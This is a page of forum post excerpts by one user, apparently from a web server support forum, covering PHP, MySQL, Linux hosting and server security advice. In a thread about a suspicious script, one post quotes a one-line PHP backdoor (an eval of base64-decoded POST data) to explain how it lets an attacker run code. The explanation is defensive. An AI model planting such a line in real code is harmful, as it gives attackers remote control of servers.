Author |
Message |
Topic: Ms sql server migration to mysql. |
DonQuichote
Replies: 6
Views: 40434
|
|
As far as I know, the latest MariaDB can work with microseconds.
See https://mariadb.com/kb/en/mariadb-versus-mysql-features/
This means installing another database program, but it is a drop-in ... |
Topic: webfarm |
DonQuichote
Replies: 4
Views: 15805
|
|
Well, just looking at the site, it seems to work with ASP.NET rather than IIS. And that makes perfectly sense. Web servers themselves don't cache. They just serve files or run scripts. Clients do cach ... |
Topic: Forbid access to sub directory. |
DonQuichote
Replies: 7
Views: 16220
|
|
I think this is a design issue. Why put a private directory in a public space? You could as easily put it outside the web root. Suppose the web root is
/var/www/yoursite/htdocs/
You could easily ... |
Topic: Abyss & Xubuntu |
DonQuichote
Replies: 2
Views: 11421
|
|
Open a terminal window. You should then first decide what user you want the web server to use. I create a user specially for this purpose:
sudo adduser --system --group abyssd
This will ask for ... |
Topic: HOWTO do a basic setup of the Abyss Web Server in Kubuntu |
DonQuichote
Replies: 2
Views: 22379
|
|
You can use equivs to make the package manager understand that you do have a web server. Otherwise, installing all kinds of web development stuff will install apache also to fight the abyss.
See ht ... |
Topic: My web doesn't display internaltional language properly |
DonQuichote
Replies: 3
Views: 10413
|
|
HNT, could you tell us what programs / systems you use to generate the pages? What do you see? What should you see instead? Do you send HTTP headers? Do you fight them with meta tags? Do you use a dat ... |
Topic: PHP&MySql Function Problems? |
DonQuichote
Replies: 4
Views: 15391
|
|
You do not check for any errors in your code. So don't ask us what is wrong, ask your system. The mysql_error function has the message. You may not even get a connection (check that you get a resource ... |
Topic: What is the difference between Hosting a site on a linux se |
DonQuichote
Replies: 1
Views: 19752
|
|
I'd suggest changing hosting companies. There is no need for either Linux or Windows to be off-line often. |
Topic: IIS7 taking over |
DonQuichote
Replies: 2
Views: 16997
|
|
Is IIS really removed? In that case, The Abyss should not have to fight anything to serve port 80. If The Abyss still cannot serve port 80, my guess is that either IIS modified Windows Firewall to pus ... |
Topic: Trouble Uploading to mySQL with PHP |
DonQuichote
Replies: 1
Views: 23889
|
|
First, use standard quotes in SQL. These are single quotes for strings. Also, do not use addslashes, but mysql_escape_string(). And implement some error handling that makes sure that the errors are lo ... |
Topic: some weird script that look like a virus |
DonQuichote
Replies: 8
Views: 20459
|
|
The last line is the best:
eval(base64_decode($_POST['e']));
This will happily execute anything that the hacker wants on your server (unless you disabled the eval function). ... |
Topic: some weird script that look like a virus |
DonQuichote
Replies: 8
Views: 20459
|
Forum: PHP Posted: Sun Nov 22, 2009 7:05 pm Subject: Access | |
|
Well, the hacker must get access somehow. It is up to you to investigate what possibilities the hacker has. Does the web server user have write access to the served directories? In that case, everythi ... |
Topic: Problem with Perl writing HTML attributes |
DonQuichote
Replies: 3
Views: 11274
|
|
I know next to nothing about Perl, but does this help?
http://www.perlmonks.org/?node_id=401006
It seems that double quotes are "evaluating quotes" in Perl, just as they are in bash an ... |
Topic: Ms sql server migration to mysql. |
DonQuichote
Replies: 6
Views: 40434
|
|
There are basically two options:
- Live with the decreased accuracy
- Use another data type.
The other data type could be a string (VARCHAR). If you extend the normal datetime format with decimal ... |
Topic: $PHP_SELF |
DonQuichote
Replies: 25
Views: 85562
|
Forum: PHP Posted: Sat Aug 15, 2009 3:45 pm Subject: $PHP_SELF | |
|
Gee, did we not mention that this is a bug in PHP? Go on, install apache, spend 5 years to learn to administer it, and you will still see the same bug. It is in PHP, not in the Abyss.
This function ... |
Topic: Linking to Local files |
DonQuichote
Replies: 6
Views: 19897
|
|
As an alternative, you could use a script that serves a file from an otherwise unreachable location. This is done with a lot of web sites. For instance, on a public photo site, it would be bad if anyb ... |
Topic: too many connections??? |
DonQuichote
Replies: 5
Views: 36577
|
|
If you are running the Abyss on Windows, this is a known phenomenon. And it has nothing to do with the abyss itself.
Windows will temporarily assign a port if you connect through tcp. Also for MySQ ... |
Topic: Browser can't see "php-cgi" file to select it as i |
DonQuichote
Replies: 6
Views: 26544
|
|
I cannot see anything wrong with what you did. The abyss runs fine on my Xubuntu systems. You mention that the config flie is generated. If you open that file (back it up first), and look under
//roo ... |
Topic: Abyss console port 9999 vulnerability ? |
DonQuichote
Replies: 8
Views: 53700
|
|
Just a general question: is any malformed login or failed login logged or can it be logged? That way you may find out if the remote attacker is trying to access your web server or tries to attack anot ... |
Topic: Installation Help |
DonQuichote
Replies: 3
Views: 13625
|
|
Do you double-click them from the Windows explorer or do you visit the page through your browser? If so, what browser do you use? |
Topic: Guide: How to Install MySQL |
DonQuichote
Replies: 142
Views: 1734194
|
|
As you are installing MySQL for Windows, you'd want to fix the configuration bug on windows. By default, MySQL cripples all table names to lower case. This is the worst thing to do as a "work-aro ... |
Topic: Strange thing with php / mysql |
DonQuichote
Replies: 5
Views: 15452
|
|
First, I firmly want to suggest you put on error logging. There are just too much things you leave to be "automagically" fixed by PHP.
Also, the $variableadds it to the array (again, leav ... |
Topic: Per directory php ini settings |
DonQuichote
Replies: 10
Views: 30853
|
|
It did answer the question. Fix the code, don't cripple the server. If you rely on magic quotes, your site can be open to nice SQL injection attacks. Especially when using other encodings than iso-885 ... |
Topic: PHP Not Working on OSX |
DonQuichote
Replies: 16
Views: 50145
|
|
Error 500 is an internal error. It could be anything. If you can still use the administration site, set the abyss to log errors and warnings (you can set this near the CGI / FASTCGI parameters). Then ... |
Topic: php? |
DonQuichote
Replies: 2
Views: 12379
|
Forum: PHP Posted: Thu Feb 26, 2009 2:23 pm Subject: php? | |
|
I assume you mean "index.php". versus "index.php?" They are the same: the question mark marks the start of the "get" parameters. Lots of Content Management Systems use a ... |
Topic: not sure what to do with my x2 abyss vitrual hosting |
DonQuichote
Replies: 3
Views: 11209
|
|
The thing is that users usually don't click on an IP address. They visit a URL. The domain name is sent along to the web server (in HTTP1.1). So it is the server who can see what site is meant. If you ... |
Topic: Photoshop or Fireworks? |
DonQuichote
Replies: 14
Views: 45158
|
|
I mainly use Xara Extreme and off course the Gimp for graphics... |
Topic: Can't view website..... |
DonQuichote
Replies: 7
Views: 36776
|
|
A 404 message is generated by a web server. So either there is one running on your provider with your IP address, or it is your own machine that generates that error. It could even be that your router ... |
Topic: How do I block ranges of IPs? |
DonQuichote
Replies: 5
Views: 15360
|
|
I suggest that you just enter a few ranges by hand and then take a good look at your abyss.conf file. It is XML and quite human-readable. It should not be that hard to insert the ranges into it with a ... |
Topic: Self-Signed SSL certificate |
DonQuichote
Replies: 2
Views: 18007
|
|
1) Since my site now is accessed through HTTPS, does that mean that any information going out of my website is encrypted?
Yes. You have a certificate that is used for the encryption. The only thing a ... |
Topic: abyss probs in linux |
DonQuichote
Replies: 4
Views: 28977
|
|
both running abyss ws
i am hoping to eventually give up xp and just run linux
until recently both servers working fine
however recently the linux box has been behaving eratically when running in ... |
Topic: Error 500 Internal Server Error |
DonQuichote
Replies: 8
Views: 29066
|
Forum: PHP Posted: Wed Dec 03, 2008 12:55 am Subject: Logs | |
|
If you enabled the logs, these logs might contain something useful. |
Topic: website security |
DonQuichote
Replies: 4
Views: 23100
|
|
- all my scripts and data files are in htdocs directory and its subdirectories.
That is what I do not want in a secure system, because all the scripts can be called directly. Even the ones that sho ... |
Topic: $PHP_SELF |
DonQuichote
Replies: 25
Views: 85562
|
Forum: PHP Posted: Wed Nov 12, 2008 12:03 am Subject: $PHP_SELF | |
|
I have the same bug on Xubuntu 8.04. I read somewhere that there is a patch for it, but I write my code to run on all versions of PHP5 (you never know what server the code has to run on) and therefore ... |
Topic: $PHP_SELF |
DonQuichote
Replies: 25
Views: 85562
|
Forum: PHP Posted: Mon Nov 10, 2008 11:41 pm Subject: Known bug | |
|
It is a known (and irritant) bug of PHP. |
Topic: chmod 777 |
DonQuichote
Replies: 2
Views: 14501
|
Forum: PHP Posted: Sat Nov 01, 2008 9:39 pm Subject: Why? | |
|
I can hardly imagine that you would want that on a serious webserver. Let me explain:
Each 7 is for a permission category, in the order Owner, Group, Other. 777 means that you want to give them all ... |
Topic: Login Authentication |
DonQuichote
Replies: 5
Views: 18443
|
|
As far as I know, all server variables starting with HTTP_ are client-sent headers. |
Topic: Set Up A Subdomain |
DonQuichote
Replies: 2
Views: 17612
|
|
I'm using simple dns
What do you mean by that?
You can define subdomains in your public DNS server. If you run your own DNS server, you will have to do that. If you leave DNS to a provider, your ... |
Topic: comment form |
DonQuichote
Replies: 6
Views: 23464
|
|
The given form is really simple. So simple, in fact, that all hackers (and bots!) passing by will gladly abuse it for spamming. Please do a net search for "header injection" or "email i ... |
Topic: Notepad ++ for Linux (Don't get excited...) |
DonQuichote
Replies: 5
Views: 12462
|
|
Hi, I went the same way. I switched to Xubuntu a year ago, and I still do not know a good general purpose editor in Linux.If you code Python, Eric is a really good one, and Tea doe some nice highlight ... |
Topic: x1(temp) and linux before x 2.5 |
DonQuichote
Replies: 3
Views: 9357
|
|
This howto is for Debian, but it addresses the fact that you'll have to be root to be able to use "well-known" ports. Hope it helps:
http://www.aprelium.com/forum/viewtopic.php?t=12536 |
Topic: Reasons you chose Abyss WebServer 2.5 |
DonQuichote
Replies: 8
Views: 19904
|
|
I Picked the Abyss for ease and possibility of configuration. I started out with Personal Web Server (an IIS variant that is shipped with Windows '98) and it seriously hindered me doing web developmen ... |
Topic: website subdirectory protection |
DonQuichote
Replies: 4
Views: 10543
|
|
Is there any reason the files are stored within the web root? It is much safer to store anything that does not need to be called by a browser outside it. |
Topic: HTTP_SERVER_VARS |
DonQuichote
Replies: 2
Views: 18217
|
|
$HTTP_SERVER_VARS is deprecated for quite some time now. The better version is called $_SERVER. You can, however, still set the old superglobals in PHP.INI. |
Topic: http to https |
DonQuichote
Replies: 4
Views: 24817
|
|
This feature is already present. The problem is that there is nothing to redirect from, as port 80 is made unavailable. No web server software will help you here.
Your ISP just does not direct traf ... |
Topic: #1045 - Access denied for user: 'root@localhost |
DonQuichote
Replies: 2
Views: 25288
|
|
It looks like your are working with phpMyAdmin. It does not hurt to mention that, you know?
Furthermore, why set the authentication to "cookie" if you give the password in the config? Jus ... |
Topic: XP vs. Linux or FreeBSD and Hardware? |
DonQuichote
Replies: 5
Views: 14887
|
|
I run the abyss on Xubuntu 8.04 on various "hard"ware. And did run it on 7.04 and 7.10. I really love it. I still have Windows XP installed at my work, but it is dual boot and I mainly use X ... |
Topic: function list |
DonQuichote
Replies: 2
Views: 11235
|
|
The error was that the function list was preceded by a $. |
Topic: php 5.2.6 wont work for some reason. |
DonQuichote
Replies: 1
Views: 9861
|
|
You probably have given the log locations for CGI or FastCGI. Is there any error message in the log? |
Topic: character set and encoding |
DonQuichote
Replies: 7
Views: 14994
|
|
See the Tutorials forum. Adjusting the mime type works. |
|